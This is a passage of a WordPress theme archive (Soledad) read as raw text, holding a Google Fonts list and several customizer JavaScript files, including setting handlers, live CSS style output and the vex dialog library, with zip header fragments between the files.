Mono','Ovo','Oxanium','Oxygen','Oxygen Mono','PT Mono','PT Sans','PT Sans Caption','PT Sans Narrow','PT Serif','PT Serif Caption','Pacifico','Padauk','Palanquin','Palanquin Dark','Pangolin','Paprika','Parisienne','Passero One','Passion One','Pathway Gothic One','Patrick Hand','Patrick Hand SC','Pattaya','Patua One','Pavanam','Paytone One','Peddana','Peralta','Permanent Marker','Petit Formal Script','Petrona','Philosopher','Piazzolla','Piedra','Pinyon Script','Pirata One','Plaster','Play','Playball','Playfair Display','Playfair Display SC','Podkova','Poiret One','Poller One','Poly','Pompiere','Pontano Sans','Poor Story','Poppins','Port Lligat Sans','Port Lligat Slab','Pragati Narrow','Prata','Preahvihear','Press Start 2P','Pridi','Princess Sofia','Prociono','Prompt','Prosto One','Proza Libre','Public Sans','Puritan','Purple Purse','Quando','Quantico','Quattrocento','Quattrocento Sans','Questrial','Quicksand','Quintessential','Qwigley','Racing Sans One','Radley','Rajdhani','Rakkas','Raleway','Raleway Dots','Ramabhadra','Ramaraja','Rambla','Rammetto One','Ranchers','Rancho','Ranga','Rasa','Rationale','Ravi Prakash','Recursive','Red Hat Display','Red Hat Text','Red Rose','Redressed','Reem Kufi','Reenie Beanie','Revalia','Rhodium Libre','Ribeye','Ribeye Marrow','Righteous','Risque','Roboto','Roboto Condensed','Roboto Mono','Roboto Slab','Rochester','Rock Salt','Rokkitt','Romanesco','Ropa Sans','Rosario','Rosarivo','Rouge Script','Rowdies','Rozha One','Rubik','Rubik Mono One','Ruda','Rufina','Ruge Boogie','Ruluko','Rum Raisin','Ruslan Display','Russo One','Ruthie','Rye','Sacramento','Sahitya','Sail','Saira','Saira Condensed','Saira Extra Condensed','Saira Semi Condensed','Saira Stencil One','Salsa','Sanchez','Sancreek','Sansita','Sansita Swashed','Sarabun','Sarala','Sarina','Sarpanch','Satisfy','Sawarabi Gothic','Sawarabi Mincho','Scada','Scheherazade','Schoolbell','Scope One','Seaweed Script','Secular One','Sedgwick Ave','Sedgwick Ave Display','Sen','Sevillana','Seymour One','Shadows Into Light','Shadows Into Light Two','Shanti','Share','Share Tech','Share Tech Mono','Shojumaru','Short Stack','Shrikhand','Siemreap','Sigmar One','Signika','Signika Negative','Simonetta','Single Day','Sintony','Sirin Stencil','Six Caps','Skranji','Slabo 13px','Slabo 27px','Slackey','Smokum','Smythe','Sniglet','Snippet','Snowburst One','Sofadi One','Sofia','Solway','Song Myung','Sonsie One','Sora','Sorts Mill Goudy','Source Code Pro','Source Sans Pro','Source Serif Pro','Space Grotesk','Space Mono','Spartan','Special Elite','Spectral','Spectral SC','Spicy Rice','Spinnaker','Spirax','Squada One','Sree Krushnadevaraya','Sriracha','Srisakdi','Staatliches','Stalemate','Stalinist One','Stardos Stencil','Stint Ultra Condensed','Stint Ultra Expanded','Stoke','Strait','Stylish','Sue Ellen Francisco','Suez One','Sulphur Point','Sumana','Sunflower','Sunshiney','Supermercado One','Sura','Suranna','Suravaram','Suwannaphum','Swanky and Moo Moo','Syncopate','Syne','Syne Mono','Syne Tactile','Tajawal','Tangerine','Taprom','Tauri','Taviraj','Teko','Telex','Tenali Ramakrishna','Tenor Sans','Text Me One','Texturina','Thasadith','The Girl Next Door','Tienne','Tillana','Timmana','Tinos','Titan One','Titillium Web','Tomorrow','Trade Winds','Trirong','Trispace','Trocchi','Trochut','Trykker','Tulpen One','Turret Road','Ubuntu','Ubuntu Condensed','Ubuntu Mono','Ultra','Uncial Antiqua','Underdog','Unica One','UnifrakturCook','UnifrakturMaguntia','Unkempt','Unlock','Unna','VT323','Vampiro One','Varela','Varela Round','Varta','Vast Shadow','Vesper Libre','Viaoda Libre','Vibes','Vibur','Vidaloka','Viga','Voces','Volkhov','Vollkorn','Vollkorn SC','Voltaire','Waiting for the Sunrise','Wallpoet','Walter Turncoat','Warnes','Wellfleet','Wendy One','Wire One','Work Sans','Xanh Mono','Yanone Kaffeesatz','Yantramanav','Yatra One','Yellowtail','Yeon Sung','Yeseva One','Yesteryear','Yrsa','ZCOOL KuaiLe','ZCOOL QingKe HuangYou','ZCOOL XiaoWei','Zeyada','Zhi Mang Xing','Zilla Slab','Zilla Slab Highlight');

PK     N\    E  inc/customizer/framework/assets/js/customizer/redirect-tag-preview.jsnu [        (function (api) {
  'use strict'

  if (!api.redirectTag) {
    api.redirectTag = {}
  }

  api.redirectTag = {
    dialogOpen: false,
  }

  api.redirectTag.registerTag = function (object) {
    api(object.id, function (setting) {
      setting.bind(function () {
        api.redirectTag.handleChange(object.redirect, object.refresh)
      })
    })
  }

  api.redirectTag.handleChange = function (tag, refresh) {
    var redirect = outputSetting.redirectTag[tag]

    if (!redirect.flag) {
      if (!api.redirectTag.dialogOpen) {
        api.redirectTag.dialogOpen = true
        vex.dialog.confirm({
          message: outputSetting.redirectSetting.changeNotice,
          showCloseButton: false,
          callback: function (value) {
            if (value) {
              api.redirectTag.redirectPreview(redirect.url)
            } else {
              api.redirectTag.dialogOpen = false
              api.redirectTag.refreshPreviewer(refresh, redirect.flag)
            }
          },
        })
      }
    } else {
      api.redirectTag.refreshPreviewer(refresh, redirect.flag)
    }
  }

  /**
   * Redirect Previewer to appropriate URL
   *
   * @param url
   */
  api.redirectTag.redirectPreview = function (url) {
    var customizerpreview = new api.Preview({
      url: url,
      channel: api.settings.channel,
    })

    customizerpreview.send('scroll', 0)
    customizerpreview.send('url', url)
  }

  /**
   * Force Refresh previewer
   *
   * @param refresh
   * @param flag
   */
  api.redirectTag.refreshPreviewer = function (refresh, flag) {
    if (refresh && flag) {
      if(api.previewer) {
        api.previewer.refresh()
      } else {
        api.preview.send('refresh')
      }
    }
  }

  /**
   * Bind Setting for partial refresh
   */
  api.redirectTag.initialize = function () {
    api.preview.bind('register-redirect-tag', function (object) {
      api.redirectTag.registerTag(object)
    })

    api.preview.bind('register-all-redirect-tag', function (objects) {
      _.each(objects, function (object) {
        api.redirectTag.registerTag(object)
      })
    })
  }

  /**
   * Initialize partial refresh
   */
  api.bind('preview-ready', function () {
    api.redirectTag.initialize()
  })
})(wp.customize)
PK     N\N  N  B  inc/customizer/framework/assets/js/customizer/set-setting-value.jsnu [        function soledadSetSettingValue(control, value) {
    "use strict";

    var api = wp.customize,
        $ = jQuery;

    /**
     * Get the control of the sub-setting.
     * This will be used to get properties we need from that control,
     * and determine if we need to do any further work based on those.
     */
    var subControl = api.control(control);

    if (typeof subControl === 'undefined')
        throw "Control : " + control + " not found";

    var setting = subControl.setting,
        container = $(subControl.container),
        $select,
        selectize,
        controlType,
        alphaColorControl,
        typographyColor;

    /**
     * Get the control-type of this sub-setting.
     * We want the value to live-update on the controls themselves,
     * so depending on the control's type we'll need to do different things.
     */
    controlType = subControl.params.type;

    /**
     * Below we're starting to check the control tyype and depending on what that is,
     * make the necessary adjustments to it.
     */

    if ('soledad-fw-toggle' === controlType) {

        if (1 === value || '1' === value || true === value) {

            // Update the value visually in the control
            container.find('input').prop('checked', true);

            // Update the value in the customizer object
            setting.set(true);

        } else {

            // Update the value visually in the control
            container.find('input').prop('checked', false);

            // Update the value in the customizer object
            setting.set(false);

        }

    } else if ('soledad-fw-select' === controlType || 'soledad-fw-preset' === controlType) {

        // Update the value visually in the control
        $select = container.find('select').selectize();

        selectize = $select[0].selectize;

        selectize.setValue(value, true);

        // Update the value in the customizer object
        setting.set(value);

    } else if ('soledad-fw-slider' === controlType) {

        // Update the value visually in the control (slider)
        container.find('input').prop('value', value);

        // Update the value visually in the control (number)
        container.find('.kirki_range_value .value').html(value);

        // Update the value in the customizer object
        setting.set(value);

    } else if ('soledad-fw-generic' === controlType && undefined !== subControl.choices && undefined !== subControl.choices.element && 'textarea' === subControl.choices.element) {

        // Update the value visually in the control
        container.find('textarea').prop('value', value);

        // Update the value in the customizer object
        setting.set(value);

    } else if ('soledad-fw-color' === controlType) {

        alphaColorControl = container.find('.soledad-fw-color-control');

        alphaColorControl.val(value).trigger('change');

        setting.set(value);

    } else if ('soledad-fw-multicheck' === controlType) {

        // Update the value in the customizer object
        setting.set(value);

        /**
         * Update the value visually in the control.
         * This value is an array so we'll have to go through each one of the items
         * in order to properly apply the value and check each checkbox separately.
         *
         * First we uncheck ALL checkboxes in the control
         * Then we check the ones that we want.
         */
        container.find('input').each(function () {
            $(this).prop('checked', false);
        });

        _.each(value, function (subValue, i) {
            container.find('input[value="' + value[i] + '"]').prop('checked', true);
        });

    } else if ('soledad-fw-radio-buttonset' === controlType || 'soledad-fw-radio-image' === controlType || 'soledad-fw-radio' === controlType || 'soledad-fw-dashicons' === controlType || 'soledad-fw-color-palette' === controlType || 'soledad-fw-palette' === controlType) {

        // Update the value visually in the control
        container.find('input[value="' + value + '"]').prop('checked', true);

        // Update the value in the customizer object
        setting.set(value);

    } else if ('soledad-fw-typography' === controlType) {

        if (undefined !== value['font-family']) {

            $select = $(container.find('.font-family select')).selectize();

            if ('undefined' !== typeof select) {
                selectize = $select[0].selectize;

                // Update the value visually in the control
                selectize.setValue(value['font-family'], true);
            }

        }

        if (undefined !== value.variant) {

            $select = container.find('.variant select').selectize();

            if ('undefined' !== typeof select) {
                selectize = $select[0].selectize;

                // Update the value visually in the control
                selectize.setValue(value.variant, true);
            }

        }

        if (undefined !== value.subsets) {

            $select = container.find('.subset select').selectize();

            if ('undefined' !== typeof select) {
                selectize = $select[0].selectize;

                // Update the value visually in the control
                selectize.setValue(value.subset, true);
            }

        }

        if (undefined !== value['font-size']) {

            // Update the value visually in the control
            container.find('.font-size input').prop('value', value['font-size']);

        }

        if (undefined !== value['line-height']) {

            // Update the value visually in the control
            container.find('.line-height input').prop('value', value['line-height']);

        }

        if (undefined !== value['letter-spacing']) {

            // Update the value visually in the control
            container.find('.letter-spacing input').prop('value', value['letter-spacing']);

        }

        if (undefined !== value.color) {

            // Update the value visually in the control
            typographyColor = container.find('.soledad-fw-color-control');

            typographyColor
                .attr('data-default-color', value)
                // .data( 'default-color', value )
                .wpColorPicker('color', value);
        }

        // Update the value in the customizer object
        setting.set(value);

    } else if ('repeater' === controlType) {
        // Do nothing
    }

    /**
     * Fallback for all other controls.
     */
    else {
        // Update the value visually in the control
        container.find('input').prop('value', value);

        // Update the value in the customizer object
        setting.set(value);
    }
}
PK     N\I4i  i  >  inc/customizer/framework/assets/js/customizer/widget-extend.jsnu [        (function ($, api) {
    "use strict";
    api.controlConstructor['widget_form'] = api.Widgets.WidgetControl.extend({
        alert: false,
        initialize: function (id, options) {
            var control = this;
            api.Widgets.WidgetControl.prototype.initialize.call(control, id, options);
            control.bindOnExpand();
        },
        bindOnExpand: function () {
            var control = this;
            this.container.on('expand', function () {
                var base = control.params.widget_id_base;
                var start = base.startsWith('soledad');
                if (start && !control.alert) {
                    var content = control.container.find('.widget-content');
                    var html = this.compileTemplate('widget-alert', window.widgetLang);
                    content.append(html);
                    control.alert = true;
                }
            });
        },
        compileTemplate: function (template, data) {
            var compiledTemplate = wp.template(template);
            return $(compiledTemplate(data));
        }
    });
})(jQuery, wp.customize);
PK     N\ D  D  A  inc/customizer/framework/assets/js/customizer/vex.combined.min.jsnu [        /*! vex.js, vex.dialog.js 2.2.1 */
(function(){var a;a=function(a){var b,c;return b=!1,a(function(){var d;return d=(document.body||document.documentElement).style,b=void 0!==d.animation||void 0!==d.WebkitAnimation||void 0!==d.MozAnimation||void 0!==d.MsAnimation||void 0!==d.OAnimation,a(window).bind("keyup.vex",function(a){return 27===a.keyCode?c.closeByEscape():void 0})}),c={globalID:1,animationEndEvent:"animationend webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend",baseClassNames:{vex:"vex",content:"vex-content",overlay:"vex-overlay",close:"vex-close",closing:"vex-closing",open:"vex-open"},defaultOptions:{content:"",showCloseButton:!0,escapeButtonCloses:!0,overlayClosesOnClick:!0,appendLocation:"body",className:"",css:{},overlayClassName:"",overlayCSS:{},contentClassName:"",contentCSS:{},closeClassName:"",closeCSS:{}},open:function(b){return b=a.extend({},c.defaultOptions,b),b.id=c.globalID,c.globalID+=1,b.$vex=a("<div>").addClass(c.baseClassNames.vex).addClass(b.className).css(b.css).data({vex:b}),b.$vexOverlay=a("<div>").addClass(c.baseClassNames.overlay).addClass(b.overlayClassName).css(b.overlayCSS).data({vex:b}),b.overlayClosesOnClick&&b.$vexOverlay.bind("click.vex",function(b){return b.target===this?c.close(a(this).data().vex.id):void 0}),b.$vex.append(b.$vexOverlay),b.$vexContent=a("<div>").addClass(c.baseClassNames.content).addClass(b.contentClassName).css(b.contentCSS).append(b.content).data({vex:b}),b.$vex.append(b.$vexContent),b.showCloseButton&&(b.$closeButton=a("<div>").addClass(c.baseClassNames.close).addClass(b.closeClassName).css(b.closeCSS).data({vex:b}).bind("click.vex",function(){return c.close(a(this).data().vex.id)}),b.$vexContent.append(b.$closeButton)),a(b.appendLocation).append(b.$vex),c.setupBodyClassName(b.$vex),b.afterOpen&&b.afterOpen(b.$vexContent,b),setTimeout(function(){return b.$vexContent.trigger("vexOpen",b)},0),b.$vexContent},getAllVexes:function(){return a("."+c.baseClassNames.vex+':not(".'+c.baseClassNames.closing+'") .'+c.baseClassNames.content)},getVexByID:function(b){return c.getAllVexes().filter(function(){return a(this).data().vex.id===b})},close:function(a){var b;if(!a){if(b=c.getAllVexes().last(),!b.length)return!1;a=b.data().vex.id}return c.closeByID(a)},closeAll:function(){var b;return b=c.getAllVexes().map(function(){return a(this).data().vex.id}).toArray(),(null!=b?b.length:void 0)?(a.each(b.reverse(),function(a,b){return c.closeByID(b)}),!0):!1},closeByID:function(d){var e,f,g,h,i;return f=c.getVexByID(d),f.length?(e=f.data().vex.$vex,i=a.extend({},f.data().vex),g=function(){return i.beforeClose?i.beforeClose(f,i):void 0},h=function(){return f.trigger("vexClose",i),e.remove(),a("body").trigger("vexAfterClose",i),i.afterClose?i.afterClose(f,i):void 0},b?(g(),e.unbind(c.animationEndEvent).bind(c.animationEndEvent,function(){return h()}).addClass(c.baseClassNames.closing)):(g(),h()),!0):void 0},closeByEscape:function(){var b,d,e;return e=c.getAllVexes().map(function(){return a(this).data().vex.id}).toArray(),(null!=e?e.length:void 0)?(d=Math.max.apply(Math,e),b=c.getVexByID(d),b.data().vex.escapeButtonCloses!==!0?!1:c.closeByID(d)):!1},setupBodyClassName:function(){return a("body").bind("vexOpen.vex",function(){return a("body").addClass(c.baseClassNames.open)}).bind("vexAfterClose.vex",function(){return c.getAllVexes().length?void 0:a("body").removeClass(c.baseClassNames.open)})},hideLoading:function(){return a(".vex-loading-spinner").remove()},showLoading:function(){return c.hideLoading(),a("body").append('<div class="vex-loading-spinner '+c.defaultOptions.className+'"></div>')}}},"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof exports?module.exports=a(require("jquery")):window.vex=a(jQuery)}).call(this),function(){var a;a=function(a,b){var c,d;return null==b?a.error("Vex is required to use vex.dialog"):(c=function(b){var c;return c={},a.each(b.serializeArray(),function(){return c[this.name]?(c[this.name].push||(c[this.name]=[c[this.name]]),c[this.name].push(this.value||"")):c[this.name]=this.value||""}),c},d={},d.buttons={YES:{text:"OK",type:"submit",className:"vex-dialog-button-primary"},NO:{text:"Cancel",type:"button",className:"vex-dialog-button-secondary",click:function(a){return a.data().vex.value=!1,b.close(a.data().vex.id)}}},d.defaultOptions={callback:function(){},afterOpen:function(){},message:"Message",input:'<input name="vex" type="hidden" value="_vex-empty-value" />',value:!1,buttons:[d.buttons.YES,d.buttons.NO],showCloseButton:!1,onSubmit:function(e){var f,g;return f=a(this),g=f.parent(),e.preventDefault(),e.stopPropagation(),g.data().vex.value=d.getFormValueOnSubmit(c(f)),b.close(g.data().vex.id)},focusFirstInput:!0},d.defaultAlertOptions={message:"Alert",buttons:[d.buttons.YES]},d.defaultConfirmOptions={message:"Confirm"},d.open=function(c){var e;return c=a.extend({},b.defaultOptions,d.defaultOptions,c),c.content=d.buildDialogForm(c),c.beforeClose=function(a){return c.callback(a.data().vex.value)},e=b.open(c),c.focusFirstInput&&e.find('input[type="submit"], textarea, input[type="date"], input[type="datetime"], input[type="datetime-local"], input[type="email"], input[type="month"], input[type="number"], input[type="password"], input[type="search"], input[type="tel"], input[type="text"], input[type="time"], input[type="url"], input[type="week"]').first().focus(),e},d.alert=function(b){return"string"==typeof b&&(b={message:b}),b=a.extend({},d.defaultAlertOptions,b),d.open(b)},d.confirm=function(b){return"string"==typeof b?a.error("dialog.confirm(options) requires options.callback."):(b=a.extend({},d.defaultConfirmOptions,b),d.open(b))},d.prompt=function(b){var c;return"string"==typeof b?a.error("dialog.prompt(options) requires options.callback."):(c={message:'<label for="vex">'+(b.label||"Prompt:")+"</label>",input:'<input name="vex" type="text" class="vex-dialog-prompt-input" placeholder="'+(b.placeholder||"")+'"  value="'+(b.value||"")+'" />'},b=a.extend({},c,b),d.open(b))},d.buildDialogForm=function(b){var c,e,f;return c=a('<form class="vex-dialog-form" />'),f=a('<div class="vex-dialog-message" />'),e=a('<div class="vex-dialog-input" />'),c.append(f.append(b.message)).append(e.append(b.input)).append(d.buttonsToDOM(b.buttons)).bind("submit.vex",b.onSubmit),c},d.getFormValueOnSubmit=function(a){return a.vex||""===a.vex?"_vex-empty-value"===a.vex?!0:a.vex:a},d.buttonsToDOM=function(c){var d;return d=a('<div class="vex-dialog-buttons" />'),a.each(c,function(e,f){var g;return g=a('<input type="'+f.type+'" />').val(f.text).addClass(f.className+" vex-dialog-button "+(0===e?"vex-first ":"")+(e===c.length-1?"vex-last ":"")).bind("click.vex",function(c){return f.click?f.click(a(this).parents("."+b.baseClassNames.content),c):void 0}),g.appendTo(d)}),d},d)},"function"==typeof define&&define.amd?define(["jquery","vex"],a):"object"==typeof exports?module.exports=a(require("jquery"),require("vex")):window.vex.dialog=a(window.jQuery,window.vex)}.call(this);PK     N\>>  >  E  inc/customizer/framework/assets/js/customizer/style-output-preview.jsnu [        (function (api, $) {
    "use strict";

    if (!api.styleOutput) {
        api.styleOutput = {};
    }

    api.styleOutput = {
        rulesCache: [],
    };

    api.styleOutput.generateStyle = function (value, option) {
        if (undefined === option.property) {
            option.property = '';
        }

        if (undefined === option.prefix) {
            option.prefix = '';
        }

        if (undefined === option.units) {
            option.units = '';
        }

        if (undefined === option.suffix) {
            option.suffix = '';
        }

        return option.property + ' : ' + option.prefix + value + option.units + option.suffix + ';';
    };

    api.styleOutput.getFontVariant = function ($variant) {
        if ($variant === '100') {
            return {'weight': '100', 'style': 'normal'};
        }
        if ($variant === '100reguler') {
            return {'weight': '100', 'style': 'reguler'};
        }
        if ($variant === '100italic') {
            return {'weight': '100', 'style': 'italic'};
        }
        if ($variant === '200') {
            return {'weight': '200', 'style': 'normal'};
        }
        if ($variant === '200reguler') {
            return {'weight': '200', 'style': 'reguler'};
        }
        if ($variant === '200italic') {
            return {'weight': '200', 'style': 'italic'};
        }
        if ($variant === '300') {
            return {'weight': '300', 'style': 'normal'};
        }
        if ($variant === '300reguler') {
            return {'weight': '300', 'style': 'reguler'};
        }
        if ($variant === '300italic') {
            return {'weight': '300', 'style': 'italic'};
        }
        if ($variant === 'regular') {
            return {'weight': '400', 'style': 'normal'};
        }
        if ($variant === 'italic') {
            return {'weight': '400', 'style': 'italic'};
        }
        if ($variant === '400reguler') {
            return {'weight': '400', 'style': 'reguler'};
        }
        if ($variant === '400italic') {
            return {'weight': '400', 'style': 'italic'};
        }
        if ($variant === '500') {
            return {'weight': '500', 'style': 'normal'};
        }
        if ($variant === '500reguler') {
            return {'weight': '500', 'style': 'reguler'};
        }
        if ($variant === '500italic') {
            return {'weight': '500', 'style': 'italic'};
        }
        if ($variant === '600') {
            return {'weight': '600', 'style': 'normal'};
        }
        if ($variant === '600reguler') {
            return {'weight': '600', 'style': 'reguler'};
        }
        if ($variant === '600italic') {
            return {'weight': '600', 'style': 'italic'};
        }
        if ($variant === '700') {
            return {'weight': '700', 'style': 'normal'};
        }
        if ($variant === '700reguler') {
            return {'weight': '700', 'style': 'reguler'};
        }
        if ($variant === '700italic') {
            return {'weight': '700', 'style': 'italic'};
        }
        if ($variant === '800') {
            return {'weight': '800', 'style': 'normal'};
        }
        if ($variant === '800reguler') {
            return {'weight': '800', 'style': 'reguler'};
        }
        if ($variant === '800italic') {
            return {'weight': '800', 'style': 'italic'};
        }
        if ($variant === '900') {
            return {'weight': '900', 'style': 'normal'};
        }
        if ($variant === '900reguler') {
            return {'weight': '900', 'style': 'reguler'};
        }
        if ($variant === '900italic') {
            return {'weight': '900', 'style': 'italic'};
        }
    };

    api.styleOutput.generateFontStyle = function (value) {
        var style = '';

        if (value['font-family'] !== '') {
            style += 'font-family: ' + value['font-family'] + '; ';

            if (value['variant'] && value['variant'].constructor === Array && value['variant'].length === 1) {
                var variant = this.getFontVariant(value['variant'][0]);
                style += 'font-weight : ' + variant['weight'] + '; ';
                style += 'font-style : ' + variant['style'] + '; ';
            }


            if (value['font-size'] && value['font-size'] !== '') {
                style += 'font-size: ' + value['font-size'] + '; ';
            }

            if (value['letter-spacing'] && value['letter-spacing'] !== '') {
                style += 'letter-spacing: ' + value['letter-spacing'] + '; ';
            }

            if (value['color'] && value['color'] !== '') {
                style += 'color : ' + value['color'] + '; ';
            }

            if (value['line-height'] && value['line-height'] !== '') {
                style += 'line-height: ' + value['line-height'] + '; ';
            }

            if (value['text-transform'] && value['text-transform'] !== '') {
                style += 'text-transform : ' + value['text-transform'] + '; ';
            }

        }

        return style;
    };

    api.styleOutput.attachGoogleFontHeader = function (value, setting) {
        var font_id = this.settingName(setting, '', '-css');

        // need to remove the font first
        $("#" + font_id).remove();

        var variant = [];
        var subset = [];

        if (value['variant'] && value['variant'].constructor === Array) {
            if (value['variant'].length === 1) {
                variant = ['reguler'];
            } else {
                variant = value['variant'];
            }
        }

        if (value['subsets'] && value['subsets'].constructor === Array) {
            subset = value['subsets'];
        }

        var font_family = 'family=' + value['font-family'] + ":" + variant.join(',');
        var font_subset = 'subset=' + subset.join(',');

        var url = "//fonts.googleapis.com/css?" + encodeURI(font_family + '&' + font_subset);
        $('head').append('<link rel="stylesheet" id="' + font_id + '" href="' + url + '" type="text/css" media="all">');
    };

    api.styleOutput.handleInlineStyle = function (setting, value, option) {
        var obj = this;

        if (undefined !== option.element) {
            var css = obj.generateStyle(value, option);
            var currentCss = $(option.element).attr('style');

            if (undefined === currentCss) {
                currentCss = '';
            }

            $(option.element).attr('style', currentCss + css);
        }
    };

    api.styleOutput.handleRemoveClass = function (value, option) {
        if (1 === value || '1' === value || true === value || 'true' === value || 'on' === value) {
            $(option.element).removeClass(option.property);
        }

        if (0 === value || '0' === value || false === value || 'false' === value || 'off' === value) {
            $(option.element).addClass(option.property);
        }
    };

    api.styleOutput.handleInlineSpacing = function (value, option) {
        value = JSON.parse(value);

        if (option.property === 'padding') {
            $(option.element).css({
                'padding-top': value['top'],
                'padding-left': value['left'],
                'padding-bottom': value['bottom'],
                'padding-right': value['right']
            });
        }

        if (option.property === 'margin') {
            $(option.element).css({
                'margin-top': value['top'],
                'margin-left': value['left'],
                'margin-bottom': value['bottom'],
                'margin-right': value['right']
            });
        }
    };

    api.styleOutput.handleGradient = function (value, option) {
        var degree = value['degree'];
        var begincolor = value['begincolor'];
        var beginlocation = value['beginlocation'];
        var endcolor = value['endcolor'];
        var endlocation = value['endlocation'];

        var gradient = "background: -moz-linear-gradient(" + degree + "deg, " + begincolor + " " + beginlocation + "%, " + endcolor + " " + endlocation + "%);" +
            "background: -webkit-linear-gradient(" + degree + "deg, " + begincolor + " " + beginlocation + "%, " + endcolor + " " + endlocation + "%);" +
            "background: -o-linear-gradient(" + degree + "deg, " + begincolor + " " + beginlocation + "%, " + endcolor + " " + endlocation + "%);" +
            "background: -ms-linear-gradient(" + degree + "deg, " + begincolor + " " + beginlocation + "%, " + endcolor + " " + endlocation + "%);" +
            "background: linear-gradient(" + degree + "deg, " + begincolor + " " + beginlocation + "%, " + endcolor + " " + endlocation + "%);";

        return gradient;
    };

    api.styleOutput.handleAddClass = function (value, option) {
        if (1 === value || '1' === value || true === value || 'true' === value || 'on' === value) {
            $(option.element).addClass(option.property);
        }

        if (0 === value || '0' === value || false === value || 'false' === value || 'off' === value) {
            $(option.element).removeClass(option.property);
        }
    };

    api.styleOutput.handleSwitchClass = function (value, option) {
        if (1 === value || '1' === value || true === value || 'true' === value || 'on' === value) {
            $(option.element).removeClass(option.property[0]).addClass(option.property[1]);
        }

        if (0 === value || '0' === value || false === value || 'false' === value || 'off' === value) {
            $(option.element).addClass(option.property[0]).removeClass(option.property[1]);
        }
    };

    api.styleOutput.handleClassMasking = function (value, option) {
        $.each(option.property, function (classkey, classname) {
            $(option.element).removeClass(classname);
        });

        $(option.element).addClass(option.property[value]);
    };

    api.styleOutput.isExcludedFont = function (font) {
        if (font.indexOf(',') >= 0) {
            font = font.substring(font.indexOf(','), 0);
        }
        var inarray = $.inArray(font, window.outputSetting.excludeFont);
        return ( inarray >= 0 );
    };

    api.styleOutput.handleOutput = function (output, newval, setting, result) {
        var obj = this;

        if (undefined !== output && 0 < output.length) {
            var injectCss = '';
            var css = '';

            _.each(output, function (option) {

                if (option.method === 'typography') {
                    if (undefined !== option.element && newval['font-family'] !== '') {
                        // add google font into header
                        if (!obj.isExcludedFont(newval['font-family'])) {
                            obj.attachGoogleFontHeader(newval, setting);
                        }

                        // css inject
                        css = obj.generateFontStyle(newval);
                        css = option.element + ' { ' + css + ' } ';
                        injectCss += css;
                    }
                }

                if (option.method === 'gradient') {
                    if (undefined !== option.element) {
                        css = obj.handleGradient(newval, option);
                        css = option.element + ' { ' + css + ' } ';

                        if (undefined !== option.mediaquery) {
                            css = option.mediaquery + ' { ' + css + ' } ';
                        }

                        injectCss += css;
                    }
                }

                if (option.method === 'inline-css') {
                    if (result) {
                        obj.handleInlineStyle(setting, newval, option);
                    } else {
                        obj.handleInlineStyle(setting, option.default, option);
                    }
                }

                if (option.method === 'inject-style') {
                    if (undefined !== option.element) {
                        css = obj.generateStyle(newval, option);
                        css = option.element + ' { ' + css + ' } ';

                        if (undefined !== option.mediaquery) {
                            css = option.mediaquery + ' { ' + css + ' } ';
                        }

                        injectCss += css;
                    }
                }

                if (option.method === 'remove-class') {
                    if (result) {
                        obj.handleRemoveClass(newval, option);
                    } else {
                        obj.handleAddClass(newval, option);
                    }
                }

                if (option.method === 'add-class') {
                    if (result) {
                        obj.handleAddClass(newval, option);
                    } else {
                        obj.handleRemoveClass(newval, option);
                    }
                }

                if (option.method === 'switch-class') {
                    if (result) {
                        obj.handleSwitchClass(newval, option);
                    } else {
                        obj.handleSwitchClass(option.default, option);
                    }
                }

                if (option.method === 'class-masking') {
                    if (result) {
                        obj.handleClassMasking(newval, option);
                    } else {
                        obj.handleClassMasking(option.default, option);
                    }
                }

                if (option.method === 'inline-spacing') {
                    if (result) {
                        obj.handleInlineSpacing(newval, option);
                    } else {
                        obj.handleInlineSpacing(option.default, option);
                    }
                }

            });

            var $selector = $('#' + this.settingName(setting));

            if (injectCss !== '' && result) {
                if (!$selector.length) {
                    $('head').append('<style id="' + this.settingName(setting) + '"> ' + injectCss + ' </style>');
                } else {
                    $selector.text(injectCss);
                }
            } else {
                $selector.remove();
            }

            if (!result && $selector.length) {
                $selector.remove();
            }
        }
    };

    api.styleOutput.settingName = function (setting, prefix, suffix) {
        if (typeof prefix === 'undefined') prefix = window.outputSetting.inlinePrefix;
        if (typeof suffix === 'undefined') suffix = '';

        var regexp = new RegExp(window.outputSetting.settingPattern);
        var match = regexp.exec(setting);
        setting = Array.isArray(match) && match.length >= 2 ? match[2] : setting;
        return prefix + setting.replace(/\[/g, '_').replace(/\]/g, '') + suffix;
    };

    /**
     * Bind setting to style output
     *
     * @param object
     */
    api.styleOutput.bindSetting = function (object) {
        var styleOutput = api.styleOutput;
        styleOutput.rulesCache[object.id] = object.output;

        api(object.id, function (setting) {
            setting.bind(function (value) {
                styleOutput.handleOutput(object.output, value, object.id, true);
            });
        });
    };

    /**
     * Listen to customizer panel event
     */
    api.styleOutput.initialize = function () {
        api.preview.bind('register-style-output', function (object) {
            api.styleOutput.bindSetting(object);
        });

        api.preview.bind('active-callback-control-output', function (object) {
            api.styleOutput.handleOutput(api.styleOutput.rulesCache[object.id], api(object.id).get(), object.id, object.result);
        });

        api.preview.bind('register-all-style-output', function (objects) {
            _.each(objects, function (object) {
                api.styleOutput.bindSetting(object);
            });
        });
    };

    api.bind('preview-ready', function () {
        api.styleOutput.initialize();
    });


})(wp.customize, jQuery);PK     N\ E8  8  C  inc/customizer/framework/assets/js/customizer/validate-css-value.jsnu [        function soledadValidateCSSValue(value) {
    "use strict";

    var validUnits = ['rem', 'em', 'ex', '%', 'px', 'cm', 'mm', 'in', 'pt', 'pc', 'ch', 'vh', 'vw', 'vmin', 'vmax'],
        numericValue,
        unit;

    // 0 is always a valid value
    if ('0' === value) {
        return true;
    }

    // If we're using calc() just return true.
    if (0 <= value.indexOf('calc(') && 0 <= value.indexOf(')')) {
        return true;
    }

    // Get the numeric value.
    numericValue = parseFloat(value);

    // Get the unit
    unit = value.replace(numericValue, '');

    // Check the validity of the numeric value.
    if (isNaN(numericValue)) {
        return false;
    }

    // Check the validity of the units.
    if (-1 === jQuery.inArray(unit, validUnits)) {
        return false;
    }

    return true;

}
PK     N\z-    ?  inc/customizer/framework/assets/js/customizer/search-control.jsnu [        (function (api, $) {
    "use strict";

    var search = {};

    search.searchString = function (query) {
        query = query.trim();

        return wp.ajax.send({
            url: searchSetting.ajaxUrl,
            data: {
                nonce: searchSetting.nonce,
                search: query
            }
        });
    };

    search.buildElement = function ($header, $control) {
        var searchOnHeader = search.compileTemplate('search-wrapper');
        $header.after(searchOnHeader);

        var searchOverlay = search.compileTemplate('search-overlay');
        $control.append(searchOverlay);
    };

